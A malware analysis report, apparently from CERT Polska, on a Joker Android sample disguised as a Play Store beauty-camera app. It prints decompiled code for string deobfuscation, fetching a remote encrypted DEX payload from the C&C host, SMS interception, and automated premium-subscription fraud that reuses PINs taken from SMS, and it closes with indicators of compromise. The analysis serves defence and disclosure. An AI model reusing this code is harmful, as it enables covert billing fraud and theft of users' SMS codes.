CERT Polska has recently observed new samples of the “Joker” mobile malware. The applications are present in the Google Play Store and target Polish users, among others.
Basic information
Joker malware, at the time of writing, was still available at play.google.com/store/apps/details?id=com.onmybeauty.beautycamera
As of the date of analysis, the app is still available and has more than 100,000 downloads with the last update being published on 17/09/2024.
Once downloaded and installed by the user, the interface itself does not look malicious and matches the description on Google Play Store: The beauty camera can replace the camera software on your original phone, allowing you to better capture beautiful memories
. The appearance of the running application:
Technical analysis
Every Android application starts with an AndroidManifest.xml
file. It defines the components of the application, including activities, services and permissions. In the context of analysis, the key information is to determine the starting point of the application:
<activity android:name="com.onmybeauty.beautycamera.LoadingActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
In the case of the analyzed application, the starting point is com.onmybeauty.beautycamera.LoadingActivity
. Therefore, here we will start static code analysis. The manifest contained in the apk file, also allows you to extract additional information, for example, about permissions:
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="28"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="com.google.android.gms.permission.AD_ID"/>
By analyzing the starting point in the decompiled application, we are able to identify critical points for analysis:
After the initialization of the onCreate()
method, a number of actions take place, including the creation of an interface for the user. However, we are interested in two specific lines of code:
Network.init(this, new NetConfig.Builder().baseUrl(AbstractC1835n.m226m(new byte[]{103, -56, -51, -63, -54, 103, 77, -97, 34, -35, -49, -40}, new byte[]{12, -87, -96, -88, -71, 6, 57, -22})).build());
Network.net();
The AbstractC1835n.m226m
function is designed to obfuscate code by encrypting key strings. It applies an XOR operation to arrays of bytes to decrypt the data:
public static String m226m(byte[] bArr, byte[] bArr2) {
int length = bArr.length;
int length2 = bArr2.length;
int i = 0;
int i2 = 0;
while (i < length) {
if (i2 >= length2) {
i2 = 0;
}
bArr[i] = (byte) (bArr[i] ^ bArr2[i2]);
i++;
i2++;
}
return new String(bArr, StandardCharsets.UTF_8);
}
After decrypting the given string, we get the kamisatu.top
domain. Then the application initializes the Netowrk.init()
function to store the domain in the NetConfig
variable of the Network
class. In the next step, the application executes the Network.net()
function, the implementation of which looks as follows:
public static void net() {
new PostFormTask(new LoadingCallback<String>() {
@Override
public void onSuccess(String str) {
Toast.makeText(Network.sContext, str, 0).show();
}
}) {
@Override
public String getApi() {
return AbstractC1835n.m226m(new byte[]{70, -38, -30, -106, -91, 18, -55, 17, 70, -38, -28, -121, -65, 30, -43, 15}, new byte[]{105, -87, -121, -30, -47, 123, -89, 118});
}
}.exe();
}
The PostFormTask
class, handles the construction and execution of the network request:
public abstract class PostFormTask extends BaseTask {
public <EntityType> PostFormTask(RequestCallback<EntityType> requestCallback) {
super(requestCallback, RequestType.POST_FORM);
}
}
RequestType.POST_FORM
Specifies that this is a POST request. The BaseTask
class is responsible for constructing the actual network request. The request configuration is implemented in the BaseTask.doTask()
function, which is called after the exe()
function is called:
private InterfaceC0394j doTask() {
String transformUrl = transformUrl();
C0371I c0371i = new C0371I();
if (this.mRequestType == RequestType.POST_FORM) {
c0371i.m3305d(transformUrl);
AbstractC0376N buildPostForm = ParamsBuilder.buildPostForm(this.mParamsMap);
c0371i.m3306c("POST", buildPostForm);
}
ParamsBuilder.buildHeaders(c0371i, this.mHeaders);
return c0371i.m3308a();
}
transformUrl()
: transforms the API path (/setting/scenery), potentially including any necessary parameters or applying encryption/decryption:
private String transformUrl() {
NetConfig netConfig;
String api = getApi();
if (!TextUtils.isEmpty(api) && api.startsWith(AbstractC1835n.m226m(new byte[]{69}, new byte[]{106, -58, -70, 67, -59, -27, 96, -57})) && (netConfig = Network.sConfig) != null && !TextUtils.isEmpty(netConfig.baseUrl)) {
return AbstractC1835n.m226m(new byte[]{58, -127, -126, -30, 23, -101, -31, -117}, new byte[]{82, -11, -10, -110, 100, -95, -50, -92}) + Network.sConfig.baseUrl + api;
}
return api;
}
buildPostForm()
: Constructs form data for a POST request from the mParamsMap
parameter map:
public static AbstractC0376N buildPostForm(Map<String, Object> map) {
String obj;
ArrayList arrayList = new ArrayList();
ArrayList arrayList2 = new ArrayList();
if (map != null && !map.isEmpty()) {
for (Map.Entry<String, Object> entry : map.entrySet()) {
if (!TextUtils.isEmpty(entry.getKey())) {
Object value = entry.getValue();
String key = entry.getKey();
if (value == null) {
obj = "";
} else {
obj = value.toString();
}
AbstractC0137f.m3656e("name", key);
AbstractC0137f.m3656e("value", obj);
arrayList.add(C0386b.m3282b(key, 0, 0, " \"':;<=>@[]^`{}|/\\?#&!$(),~", false, false, true, false, null, 91));
arrayList2.add(C0386b.m3282b(obj, 0, 0, " \"':;<=>@[]^`{}|/\\?#&!$(),~", false, false, true, false, null, 91));
}
}
}
return new C0403s(arrayList, arrayList2);
}
Request Builder (C0371I)
: Creates a network request by setting the URL, HTTP method (POST) and content (form data).
The exe()
method is called to perform the task and send the request:
@Override
public InterfaceC0394j exe() {
return doTask();
}
After a successful request, the response is processed by the onSuccess()
method in the callback:
@Override
public void onSuccess(String str) {
Toast.makeText(Network.sContext, str, 0).show();
}
The response from the server is displayed in a Toast message, indicating that the server has returned encrypted data. Toast was probably used here as an alternative to the clipboard, since it does not require additional permissions. The Toast message that the user sees looks as follows:
Here, Toast displays a string, which is the response back when a request is sent to kamisatu.top/setting/scenery
. However, as it turns out, the value is not just displayed in the Toast, but is also passed in another part of the APK. The key method connecting the Toast message to the native code execution is the handleBody() method. This one is responsible for handling the server response and processing data after the message is displayed in the Toast:
private <EntityType> void handleBody(C0378P c0378p, RequestCallback<EntityType> requestCallback) {
EntityType entitytype;
Type genericType;
AbstractC0382U abstractC0382U = c0378p.f1052g;
if (abstractC0382U != null) {
String string = abstractC0382U.string();
if (requestCallback == null || (genericType = Generics.getGenericType(requestCallback.getClass(), RequestCallback.class)) == null || genericType == Void.class) {
entitytype = null;
} else {
entitytype = string;
if (genericType != String.class) {
Object parseObject = JsonUtils.parseObject(string, genericType);
entitytype = parseObject;
if (parseObject == 0) {
onError(5, convert(AbstractC1835n.m226m(new byte[]{26, 71, -58, 41, 19, -92, -59, 7, 124, 17, -62, 87, 71, -121, -82, 86, 82, 67, -102, 102, 37, -34, -78, 48, 24, 114, -16, 38, 7, -82}, new byte[]{-3, -12, 125, -50, -88, 59, 34, -66}), AbstractC1835n.m226m(new byte[]{40, -13, 99, -107, 69, 125, 10, -121, 34, -25, 123, -104}, new byte[]{76, -110, 23, -12, 101, 20, 121, -89})), requestCallback);
return;
}
}
}
onSuccess(entitytype, requestCallback);
BeautySoft.open((String) entitytype);
return;
}
onError(4, convert(AbstractC1835n.m226m(new byte[]{73, -2, -21, -40, -65, 114, -39, 97, 47, -88, -17, -90, -21, 81, -78, 48, 1, -6, -73, -105, -119, 8, -82, 86, 75, -53, -35, -41, -85, 120}, new byte[]{-82, 77, 80, 63, 4, -19, 62, -40}), AbstractC1835n.m226m(new byte[]{-19, 55, -64, 2, -122, -32, -96, -48, -5, 42, -33, 24, -116, -91, -14, -41, -25, 62, -55}, new byte[]{-120, 90, -80, 118, -1, -64, -46, -75})), requestCallback);
}
AbstractC0382U abstractC0382U = c0378p.f1052g;
: This line of code is responsible for extracting the server response using the abstractC0382U.string()
method. The response is then passed to the onSuccess()
method, which triggers a Toast message with an encrypted string. The string from the server response is also passed to the BeautySoft.open((String) entitytype);
function, which is a native function:
public abstract class BeautySoft {
static {
System.loadLibrary(AbstractC1835n.m226m(new byte[]{112, -50, -100, 13, -53, 123, 56, 25}, new byte[]{0, -90, -13, 121, -92, 8, 93, 109}));
}
public static native void open(String str);
}
The native library (libphotoset.so
) is loaded dynamically using the System.loadLibrary()
function. The library name is encrypted and decrypted using the AbstractC1835n.m226m()
method. The server response (shown in Toast) is passed to the native BeautySoft.open()
method. Unfortunately, the current version of the APK file available on the Google Play Store does not include the native libphotoset.so
library in the resources. This may be due to the fact that the people responsible for developing such applications in the Google store keep updating and changing their applications to reduce the risk of detection by automatic tools. Our information also shows that the previous version was distributed as an xapk, where the libphotoset.so
library was available.
However, this is not where our analysis ends. At this point, we know that the encrypted string is passed to the BeautySoft.open(String str)
method, which probably decrypts the string and runs it dynamically as DEX
. So we can still try to manually decrypt the string. Here the CyberChef tool proves very useful, with its help we were able to decrypt the string and get the executable DEX
file, which contains the malicious Joker payload. The string from the response from kamisatu.top/setting/scenery
contains two key pieces of information. The first is an unspecified string, and the second is the URL: https://forga.oss-me-east-1.aliyuncs.com/Kuwan
.
Given that we do not have access to the native library implementing the BeautySoft.open()
functions, we can assume that the application has two methods to “create” the DEX
file:
1. decrypting the string contained in the response
2. directly downloading the Kuwan
file and decrypting it.
Analysis of the string showed that it was a non-standard encryption. So we took to the wallpaper the Kuwan
file, which we managed to decrypt:
Technical analysis of stage two
The decrypted Kuwan
file is in fact actually the target DEX
file, which seems to confirm the initial theory, about a native method that decrypts a string/file downloaded from an external site into a DEX
file and then loads and executes it dynamically.
We classify subscription as fraud when it is done without the user's consent. In subscription fraud, the malware executes the subscription on behalf of the user in such a way that the entire process happens in the background and is unnoticeable.
The first important thing the malware does, even before the main steps, is to identify the subscriber's country and mobile network with MCC and MNC codes. Both codes are retrieved by the application using the TelephonyManager
class. The API call TelephonyManager.getSimOperator()
returns the MCC and MNC codes as a concatenated string:
private static String MdATElAc() {
TelephonyManager telephonyManager = (TelephonyManager) f33LfUtNUXX.getSystemService("phone");
return telephonyManager != null ? telephonyManager.getSimOperator() : "";
}
Joker variants that target devices with the Android 9.0 version use the setWifiEnabled method of the WifiManager class to disable Wi-Fi. While the variant under review, uses another capability, which is the requestNetwork
function from the ConnectivityManagerclass
.
private void TXbyafmq() {
try {
NetworkRequest.Builder builder = new NetworkRequest.Builder();
builder.addCapability(12);
builder.addTransportType(0);
WYOdgBxH().requestNetwork(builder.build(), new C0038BdnLopBC());//public class C0038BdnLopBC extends ConnectivityManager.NetworkCallback
} catch (Exception e) {
}
}
private ConnectivityManager WYOdgBxH() {
return (ConnectivityManager) this.f75WYOdgBxH.getSystemService("connectivity");
}
The NetworkCallback
is used to monitor the network status and retrieve the networktype
variable, which can then be used to bind a process to a specific network via the ConnectivityManager.bindProcessToNetwork
function. This allows the malware to use the mobile network even if there is a Wi-Fi connection.
Assuming the SIM provider is on the target list and the device is using a mobile connection(which we know from the previous step), then in the next step the malware will download a list of websites offering premium services and try to subscribe. What happens next depends on how the subscription process is initiated, so the malware usually contains code that can handle different subscription flows.
In the second stage, the application communicates with an external server to retrieve configuration(including URLs for subscription). It uses the function C0055MdATElAc WYOdgBxH(Context context, boolean z)
to send encrypted requests, hiding the contents of the communication.
public static C0055MdATElAc WYOdgBxH(Context context, boolean z) {
if (TextUtils.isEmpty(C0021LfUtNUXX.f34MdATElAc)) {
return null;
}
JSONObject jSONObject = new JSONObject();
try {
jSONObject.put("zubfih", String.valueOf(C0021LfUtNUXX.f36WYOdgBxH));
jSONObject.put("bshwai", C0021LfUtNUXX.BUjkrPlp);
jSONObject.put("eymbmw", z);
jSONObject.put("rktfht", C0021LfUtNUXX.f37fhuPPCBW);
String url = WYOdgBxH(C0023WYOdgBxH.f42LfUtNUXX).toString();
C0006TXbyafmq WYOdgBxH2 = new C0005LfUtNUXX().WYOdgBxH(url, WYOdgBxH(jSONObject.toString(), url));
if (C0006TXbyafmq.WYOdgBxH(WYOdgBxH2)) {
return new C0055MdATElAc(new JSONObject(WYOdgBxH(WYOdgBxH2.f18MdATElAc, url)).getJSONArray("lybfta").getJSONObject(0));
}
return null;
} catch (IOException e) {
return null;
} catch (JSONException e2) {
return null;
}
}
The malware checks whether the operator's SIM code is supplied, creates a payload and constructs a URL from a previously received string, which we can't get, however, because we don't have access to the libphotoset.so
native library. When the open()
function decrypted the DEX
file it ran the init()
method, where the string with the URL C&C was passed:
public class MainEntry {
public static void init(String str, String str2) {
C0021LfUtNUXX.WYOdgBxH(str, str2);
}
}
It then encrypts the payload and sends it to C&C:
private static byte[] WYOdgBxH(String str, String str2) {
return C0021LfUtNUXX.CEBGtjfl.WYOdgBxH(str, str2);
}
public byte[] WYOdgBxH(String str, String str2) {
byte[] WYOdgBxH2 = WYOdgBxH(str2);
SecretKeySpec secretKeySpec = new SecretKeySpec(WYOdgBxH2, "AES");
IvParameterSpec ivParameterSpec = new IvParameterSpec(WYOdgBxH2);
try {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(1, secretKeySpec, ivParameterSpec);
return cipher.doFinal(str.getBytes(StandardCharsets.UTF_8));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public C0006TXbyafmq WYOdgBxH(String str, byte[] bArr) {
try {
InterfaceC0007WYOdgBxH interfaceC0007WYOdgBxH = this.f15TXbyafmq;
if (interfaceC0007WYOdgBxH != null) {
str = interfaceC0007WYOdgBxH.WYOdgBxH(str);
}
HttpURLConnection WYOdgBxH2 = WYOdgBxH(str, "POST");
WYOdgBxH2.setDoInput(true);
WYOdgBxH2.setDoOutput(true);
if (bArr != null && bArr.length > 0) {
OutputStream outputStream = WYOdgBxH2.getOutputStream();
outputStream.write(bArr);
outputStream.flush();
outputStream.close();
}
return WYOdgBxH(WYOdgBxH2, str);
} catch (Exception e) {
return WYOdgBxH(str, e);
}
}
The application checks whether the connection was successful:
if (C0006TXbyafmq.WYOdgBxH(WYOdgBxH2)) {
return new C0055MdATElAc(new JSONObject(WYOdgBxH(WYOdgBxH2.f18MdATElAc, url)).getJSONArray("lybfta").getJSONObject(0));}
If so, it decrypts the return data from C&C and then reads and writes the data from the lubfta
array:
public String WYOdgBxH(byte[] bArr, String str) {
byte[] WYOdgBxH2 = WYOdgBxH(str);
SecretKeySpec secretKeySpec = new SecretKeySpec(WYOdgBxH2, "AES");
IvParameterSpec ivParameterSpec = new IvParameterSpec(WYOdgBxH2);
try {
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(2, secretKeySpec, ivParameterSpec);
return new String(cipher.doFinal(bArr));
} catch (Exception e) {
throw new RuntimeException(e);
}
}
When Malware gets a list of potential subscribers, it turns on SMS interception:
class C0042TXbyafmq extends BroadcastReceiver {
final String f82WYOdgBxH;
C0042TXbyafmq(String str) {
this.f82WYOdgBxH = str;
}
@Override
public void onReceive(Context context, Intent intent) {
String stringExtra = intent.getStringExtra(this.f82WYOdgBxH);
if (TextUtils.isEmpty(stringExtra)) {
stringExtra = intent.getStringExtra("android.text");
}
if (TextUtils.isEmpty(stringExtra)) {
stringExtra = intent.getStringExtra("at");
if (!TextUtils.isEmpty(stringExtra) && !Telephony.Sms.getDefaultSmsPackage(C0037TXbyafmq.this.f75WYOdgBxH).equals(intent.getStringExtra("ap"))) {
return;
}
}
C0022TXbyafmq.LfUtNUXX("addSmsFromBroadcast:" + stringExtra);
C0037TXbyafmq.WYOdgBxH(stringExtra);
}
}
The application then initializes webView
(C0028LfUtNUXX
) with JavaScript enabled, and initiates a call to the URL of the subscription page from a previously downloaded list. In the next step, it executes JavaScript to interact with the page, which automates the whole process and allows to subscribe to a given page without user interaction:
public void WYOdgBxH(C0055MdATElAc.C0056LfUtNUXX c0056LfUtNUXX) {
if (this.f57TXbyafmq.f105TXbyafmq >= 300) {
TXbyafmq("runJs-" + c0056LfUtNUXX.f113WYOdgBxH + ":" + c0056LfUtNUXX.f110LfUtNUXX);
}
this.f58WYOdgBxH.evaluateJavascript(c0056LfUtNUXX.f110LfUtNUXX.replace(C0023WYOdgBxH.BRgPASkR, this.f59fhuPPCBW), null);
}
JavaScript is executed in the context of the WebView, causing the call method to be called(C0023WYOdgBxH.BRgPASkR == "window.JBridge.call('dump', document.documentElement.outerHTML);"
)
@JavascriptInterface
public String call(String str, String str2) {
try {
} catch (Exception e) {
C0028LfUtNUXX.this.TXbyafmq("JBridge-Exception:" + e.toString());
}
if (C0028LfUtNUXX.this.f57TXbyafmq.eJbwVqlc > 0) {
return "";
}
if (str.equals(C0023WYOdgBxH.KWHgxmAB)) { // (str.equals("dump"))
C0052BdnLopBC WYOdgBxH2 = C0028LfUtNUXX.this.f57TXbyafmq.WYOdgBxH();
if (WYOdgBxH2 != null) {
WYOdgBxH2.WYOdgBxH(str2);
}
return "";
}
At this point in the analysis, the malware is already able to automate interactions with subscription pages and intercept and record SMS messages. The final step is interaction with the pages in order to subscribe. This happens within the function LfUtNUXX(String str)
.The function first attempts to retrieve the MSISDN
(Mobile Station International Subscriber Directory Number) from the stored parameters:
public void LfUtNUXX(String str) {
String str2;
String WYOdgBxH2 = C0022TXbyafmq.WYOdgBxH(str, "api2/", "/");
C0006TXbyafmq WYOdgBxH3 = new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str);
this.f52WYOdgBxH.BdnLopBC("2_url:" + WYOdgBxH3.f17LfUtNUXX);
String str3 = WYOdgBxH3.f17LfUtNUXX.split("/")[4];
String str4 = WYOdgBxH3.f17LfUtNUXX.split("/")[5];
this.f52WYOdgBxH.BdnLopBC("2_t1:" + str3);
this.f52WYOdgBxH.BdnLopBC("2_t2:" + str4);
this.f52WYOdgBxH.BdnLopBC("2_prod:" + WYOdgBxH2);
String WYOdgBxH4 = WYOdgBxH();
this.f52WYOdgBxH.BdnLopBC("2_msisdn:" + WYOdgBxH4);
...
private String WYOdgBxH() {
C0055MdATElAc.C0056LfUtNUXX WYOdgBxH2 = this.f52WYOdgBxH.WYOdgBxH("pl_protocol", 100);
return (WYOdgBxH2 == null || !TextUtils.isDigitsOnly(WYOdgBxH2.f110LfUtNUXX)) ? "" : WYOdgBxH2.f110LfUtNUXX;
}
- Retrieves a parameter named “pl_protocol” from the context
- Checks whether the value of the parameter consists of digits only (a valid phone number).
- Returns
MSISDN
if available; otherwise returns an empty string.
The malware then sends a transaction request using the obtained MSISDN
and the rest of the required data, such as TransactionId
(such is transmitted by C&C as shown in the previous steps of the analysis):
String str7 = "https://epayment.teleaudio.pl/api2/typeundef_" + WYOdgBxH2 + "/direct/proceed";
String str8 = "{\"TransactionId\":\"" + str3 + "\",\"Msisdn\":\"" + WYOdgBxH4 + "\",\"Carrier\":\"U\",\"Consents\":null,\"Connection\":\"typeundef\"}";
this.f51LfUtNUXX.clear();
this.f51LfUtNUXX.put("Content-Type", "application/json");
this.f51LfUtNUXX.put("Authorization", "Bearer " + str4);
this.f52WYOdgBxH.BdnLopBC("4_s5_url:" + str7);
this.f52WYOdgBxH.BdnLopBC("4_s5_data:" + str8);
this.f52WYOdgBxH.TXbyafmq();
String str9 = new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str7, str8.getBytes()).f18MdATElAc);
this.f52WYOdgBxH.BdnLopBC("5_s5_content:" + str9);
In the next step, if the request is successful, the application retrieves the code from the SMS(as we know from the previous steps, the application continuously retrieves and saves SMS messages), which is required to confirm the transaction:
String LfUtNUXX2 = this.f52WYOdgBxH.LfUtNUXX("2::(kod|PIN|code).*?(\\d{3,6})", 30029);
this.f52WYOdgBxH.BdnLopBC("5_s5_pin:" + LfUtNUXX2);
Eventually, after acquiring the Pin code needed to approve the transaction, the malware sends a confirmation:
String str10 = "https://epayment.teleaudio.pl/api2/ta/direct/confirm";
this.f52WYOdgBxH.BdnLopBC("5_s6_data:" + ("{\"TransactionId\":\"" + str3 + "\",\"Pin\":\"" + LfUtNUXX2 + "\",\"Consents\":null}"));
this.f52WYOdgBxH.BdnLopBC("6_s6_content:" + new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str10, str2.toString().getBytes()).f18MdATElAc));
Once the transaction is approved, it checks its status and verifies that the subscription went through successfully:
String str11 = new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH("https://epayment.teleaudio.pl/api2/ta/direct/status/" + str3).f18MdATElAc);
this.f52WYOdgBxH.BdnLopBC("7_s7_content:" + str11);
if (str11.contains("Transakcja zakończona pomyślnie.")) {
WYOdgBxH(100);
} else {
WYOdgBxH(903);
}
Summary
Comprehensive analysis of the app's behavior has revealed a sophisticated and malicious mechanism designed to get users to subscribe to premium services without their knowledge or consent. The application uses a multi-step process that employs encrypted communications, obfuscated code and unauthorized access to sensitive user data. By analyzing each component and understanding the flow of operations, we can conclude that the application poses a serious threat to users' security, privacy and finances.
IOC
MD5
Stage one:
1ad4d8037d6890f317dc28bb53c1eb03 (com.onmybeauty.beautycamera.apk - https://play.google.com/store/apps/details?id=com.onmybeauty.beautycamera)
Stage two:
f508a96654c355b8bd575f8d8ed8a157 - decoded_kuwan.dex
kamisatu[.]top
https://forga.oss-me-east-1.aliyuncs.com/Kuwan
Other related samples from the Joker campaign in recent days:
962c0590dd3d2cdb707e32ae8b30bcfc (xapk version with photolibrary.so included)
bcfe46df4d66cc3c6f92d281ceac53e1
5942a2e46b29ddc1dd5d9373a8c419ad
62d9b7cff4a09d7c3b7e8bcf9d00d196